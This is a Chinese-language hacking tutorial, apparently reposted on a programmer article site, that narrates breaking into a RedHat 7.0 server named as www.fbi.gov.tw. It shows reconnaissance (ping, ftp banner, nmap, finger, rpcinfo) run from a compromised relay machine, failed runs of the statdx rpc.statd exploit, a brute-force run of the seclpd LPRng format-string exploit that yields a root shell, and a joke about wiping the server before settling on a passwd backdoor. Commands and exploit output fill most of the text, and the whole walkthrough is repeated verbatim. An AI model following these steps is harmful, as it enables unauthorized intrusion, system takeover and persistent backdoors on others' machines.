入侵RedHat Linux系统的方法
程序员文章站
2022-12-18 20:10:38
假设是：www.fbi.gov.tw。^__^
先让俺看看是不是连得上：
C:ping www.fbi.gov.tw
Pinging www.fbi.gov.tw[202.106.184.200] with 32 bytes of data:
Reply from 202.10... 08-10-08...
假设是：www.fbi.gov.tw。^__^
先让俺看看是不是连得上：
c:\ping www.fbi.gov.tw
pinging www.fbi.gov.tw[202.106.184.200] with 32 bytes of data: reply from 202.106.184.200: bytes=32 time=541ms ttl=244
reply from 202.106.184.200: bytes=32 time=620ms ttl=244
reply from 202.106.184.200: bytes=32 time=651ms ttl=244
reply from 202.106.184.200: bytes=32 time=511ms ttl=244 ping statistics for 202.106.184.200:
packets: sent = 4, received = 4, lost = 0 (0% loss),
approximate round trip times in milli-seconds:
minimum = 511ms, maximum = 651ms, average = 580ms 嘻嘻—不但连得上，速度还不错…… 先telnet看看banner： c:\>telnet www.fbi.gov.tw 遗失对主机的连接。 哈哈……看来把telnet服务给shut掉了！再试试ftp
c:\>ftp www.fbi.gov.tw
connected to www.fbi.gov.tw.
220 fbi-www ftp server (version wu-2.6.1(1) wed aug 9 05:54:50 edt 2000) ready. user (www.fbi.gov.tw:(none)): 呵~~wu-2.6.1看来有点眉目了。这台机器像是大名鼎鼎的…………对!redhat7.0！没错就是她了！首先必须确认一下，连上俺的跳板: c:\>telnet xxx.xxx.xxx.xxx
red hat linux release 7.0 (guinness)
kernel 2.2.16-22smp on an i686
login: fetdog
password:
bash-2.04$ 呵呵~~这是我在*的一台跳板。rh7的哦！等下我就会告诉你们拿这些肉鸡办法……拿上nmap扫描器，看看其中的奥妙~~~ bash-2.04$nmap -st -o www.fbi.gov.tw
starting nmap v. 2.54beta7 ( www.insecure.org/nmap/ )
warning! the following files exist and are readable: /usr/local/sha
-services and ./nmap-services. i am choosing /usr/local/share/nmap/
s for security reasons. set nmapdir=. to give priority to files in
irectory
interesting ports on (www.fbi.gov.tw):
(the 1520 ports scanned but not shown below are in state: closed)
port state service
25/tcp open smtp
79/tcp open finger
80/tcp open http
111/tcp open sunrpc
113/tcp open auth
443/tcp open https
513/tcp open login
514/tcp open shell
515/tcp open printer
587/tcp open submission
1024/tcp open kdm tcp sequence prediction: class=random positive increments
difficulty=3247917 (good luck!)
remote operating system guess: linux 2.1.122 - 2.2.16 nmap run completed -- 1 ip address (1 host up) scanned in 9 seconds 恰恰！！打开的端口还挺多的嘛！不错……不错……。79/tcp finger？呵呵~先看看这个，不过linux没有finger用户列表这个漏洞，不管它俺先看看有没有倒霉鬼。 bash-2.04$finger @www.fbi.gov.tw
[www.fbi.gov.tw]
no one logged on. sh*t！怎么会没人！开门！给我开门！:(……再看看111/tcp sunrpc。嘿嘿……近来rpc漏洞风行，不知道rh7这个东东会不会有？管它呢，先看看再说！ bash-2.04$rpcinfo -p www.fbi.gov.tw
program vers proto port service
100000 2 tcp 111 rpcbind
100000 2 udp 111 rpcbind
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100024 1 udp 1025 status
100024 1 tcp 1024 status 看来有rpc.statd服务。等俺来看看能不能远程溢出拿个rootshell。哈哈！这个rpc.statd远程溢出是我在hack.co.za找到的。等俺先来看看帮助。嘻嘻~~ bash-2.04$./statdx -h
statdx by ron1n
usage: stat [-t] [-p port] [-a addr] [-l len]
[-o offset] [-w num] [-s secs] [-d type]
-t attack a tcp dispatcher [udp]
-p rpc.statd serves requests on [query]
-a the stack address of the buffer is
-l the length of the buffer is [1024]
-o the offset to return to is [600]
-w the number of dwords to wipe is [9]
-s set timeout in seconds to [5]
-d use a hardcoded
available types:
0 redhat 6.2 (nfs-utils-0.1.6-2)
1 redhat 6.1 (knfsd-1.4.7-7)
2 redhat 6.0 (knfsd-1.2.2-4) 看来并不支持rh7。怎么办？？让俺把0-2全部试试看再说！start…… bash-2.04$stat -d 0 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
failed - statd returned res_stat: (failure) state: 21 哈哈受到挫折，再试…… bash-2.04$stat -d 1 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
failed - statd returned res_stat: (failure) state: 21 一样！继续…… bash-2.04$stat -d 1 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
failed - statd returned res_stat: (failure) state: 21 我烤！！烤烤烤！rpc.statd行不通啊！让我想想看……rh7应该有个远程溢出……好像是lp服务造成的。让俺去找找看。哈哈~~找到了……“seclpd.c”应该是这个东东了。
看来一定要来个brute了！继续……继续…… bash-2.04$./seclpd www.fbi.gov.tw brute -t 0
security.is remote exploit for lprng/lpd by digit exploit information
victim: www.fbi.gov.tw
type: 0 - redhat 7.0 - guinesss
eip address: 0xbffff3ec
shellcode address: 0xbffff7f2
position: 300
alignment: 2
offset 0 attacking www.fbi.gov.tw with our format string
brute force man, relax and enjoy the ride ;> 哈哈~~brute暴力破解。看你出不出shell！现在要等上一会儿……去泡杯coffee慢慢来。（什么！没coffee？tea！这个也行！）…………过了大约一杯coffee的时间。也就是5-8分钟左右，就会有结果了。（什么！什么！5-8分钟你喝了5杯！我倒~~~）……出来了。哈哈~~ - [ ] shell located on www.fbi.gov.tw
- [ ] enter commands at will linux fbi.www 2.2.16-22smp #1 smp tue aug 22 16:39:21 edt 2000 i686 unknown
uid=0(root) gid=7(lp) well……哈哈~uid=0(root)哇哈哈哈哈…………先在你是root啦！可以为所欲为了~~把它的东西全部删了~~哈哈……太过火了~~还是在passwd中加个后门算了~~至于怎么加，这就不在本文的范围内了……^___^
pinging www.fbi.gov.tw[202.106.184.200] with 32 bytes of data: reply from 202.106.184.200: bytes=32 time=541ms ttl=244
reply from 202.106.184.200: bytes=32 time=620ms ttl=244
reply from 202.106.184.200: bytes=32 time=651ms ttl=244
reply from 202.106.184.200: bytes=32 time=511ms ttl=244 ping statistics for 202.106.184.200:
packets: sent = 4, received = 4, lost = 0 (0% loss),
approximate round trip times in milli-seconds:
minimum = 511ms, maximum = 651ms, average = 580ms 嘻嘻—不但连得上，速度还不错…… 先telnet看看banner： c:\>telnet www.fbi.gov.tw 遗失对主机的连接。 哈哈……看来把telnet服务给shut掉了！再试试ftp
c:\>ftp www.fbi.gov.tw
connected to www.fbi.gov.tw.
220 fbi-www ftp server (version wu-2.6.1(1) wed aug 9 05:54:50 edt 2000) ready. user (www.fbi.gov.tw:(none)): 呵~~wu-2.6.1看来有点眉目了。这台机器像是大名鼎鼎的…………对!redhat7.0！没错就是她了！首先必须确认一下，连上俺的跳板: c:\>telnet xxx.xxx.xxx.xxx
red hat linux release 7.0 (guinness)
kernel 2.2.16-22smp on an i686
login: fetdog
password:
bash-2.04$ 呵呵~~这是我在*的一台跳板。rh7的哦！等下我就会告诉你们拿这些肉鸡办法……拿上nmap扫描器，看看其中的奥妙~~~ bash-2.04$nmap -st -o www.fbi.gov.tw
starting nmap v. 2.54beta7 ( www.insecure.org/nmap/ )
warning! the following files exist and are readable: /usr/local/sha
-services and ./nmap-services. i am choosing /usr/local/share/nmap/
s for security reasons. set nmapdir=. to give priority to files in
irectory
interesting ports on (www.fbi.gov.tw):
(the 1520 ports scanned but not shown below are in state: closed)
port state service
25/tcp open smtp
79/tcp open finger
80/tcp open http
111/tcp open sunrpc
113/tcp open auth
443/tcp open https
513/tcp open login
514/tcp open shell
515/tcp open printer
587/tcp open submission
1024/tcp open kdm tcp sequence prediction: class=random positive increments
difficulty=3247917 (good luck!)
remote operating system guess: linux 2.1.122 - 2.2.16 nmap run completed -- 1 ip address (1 host up) scanned in 9 seconds 恰恰！！打开的端口还挺多的嘛！不错……不错……。79/tcp finger？呵呵~先看看这个，不过linux没有finger用户列表这个漏洞，不管它俺先看看有没有倒霉鬼。 bash-2.04$finger @www.fbi.gov.tw
[www.fbi.gov.tw]
no one logged on. sh*t！怎么会没人！开门！给我开门！:(……再看看111/tcp sunrpc。嘿嘿……近来rpc漏洞风行，不知道rh7这个东东会不会有？管它呢，先看看再说！ bash-2.04$rpcinfo -p www.fbi.gov.tw
program vers proto port service
100000 2 tcp 111 rpcbind
100000 2 udp 111 rpcbind
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100024 1 udp 1025 status
100024 1 tcp 1024 status 看来有rpc.statd服务。等俺来看看能不能远程溢出拿个rootshell。哈哈！这个rpc.statd远程溢出是我在hack.co.za找到的。等俺先来看看帮助。嘻嘻~~ bash-2.04$./statdx -h
statdx by ron1n
usage: stat [-t] [-p port] [-a addr] [-l len]
[-o offset] [-w num] [-s secs] [-d type]
-t attack a tcp dispatcher [udp]
-p rpc.statd serves requests on [query]
-a the stack address of the buffer is
-l the length of the buffer is [1024]
-o the offset to return to is [600]
-w the number of dwords to wipe is [9]
-s set timeout in seconds to [5]
-d use a hardcoded
available types:
0 redhat 6.2 (nfs-utils-0.1.6-2)
1 redhat 6.1 (knfsd-1.4.7-7)
2 redhat 6.0 (knfsd-1.2.2-4) 看来并不支持rh7。怎么办？？让俺把0-2全部试试看再说！start…… bash-2.04$stat -d 0 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
failed - statd returned res_stat: (failure) state: 21 哈哈受到挫折，再试…… bash-2.04$stat -d 1 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
failed - statd returned res_stat: (failure) state: 21 一样！继续…… bash-2.04$stat -d 1 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
failed - statd returned res_stat: (failure) state: 21 我烤！！烤烤烤！rpc.statd行不通啊！让我想想看……rh7应该有个远程溢出……好像是lp服务造成的。让俺去找找看。哈哈~~找到了……“seclpd.c”应该是这个东东了。
看来一定要来个brute了！继续……继续…… bash-2.04$./seclpd www.fbi.gov.tw brute -t 0
security.is remote exploit for lprng/lpd by digit exploit information
victim: www.fbi.gov.tw
type: 0 - redhat 7.0 - guinesss
eip address: 0xbffff3ec
shellcode address: 0xbffff7f2
position: 300
alignment: 2
offset 0 attacking www.fbi.gov.tw with our format string
brute force man, relax and enjoy the ride ;> 哈哈~~brute暴力破解。看你出不出shell！现在要等上一会儿……去泡杯coffee慢慢来。（什么！没coffee？tea！这个也行！）…………过了大约一杯coffee的时间。也就是5-8分钟左右，就会有结果了。（什么！什么！5-8分钟你喝了5杯！我倒~~~）……出来了。哈哈~~ - [ ] shell located on www.fbi.gov.tw
- [ ] enter commands at will linux fbi.www 2.2.16-22smp #1 smp tue aug 22 16:39:21 edt 2000 i686 unknown
uid=0(root) gid=7(lp) well……哈哈~uid=0(root)哇哈哈哈哈…………先在你是root啦！可以为所欲为了~~把它的东西全部删了~~哈哈……太过火了~~还是在passwd中加个后门算了~~至于怎么加，这就不在本文的范围内了……^___^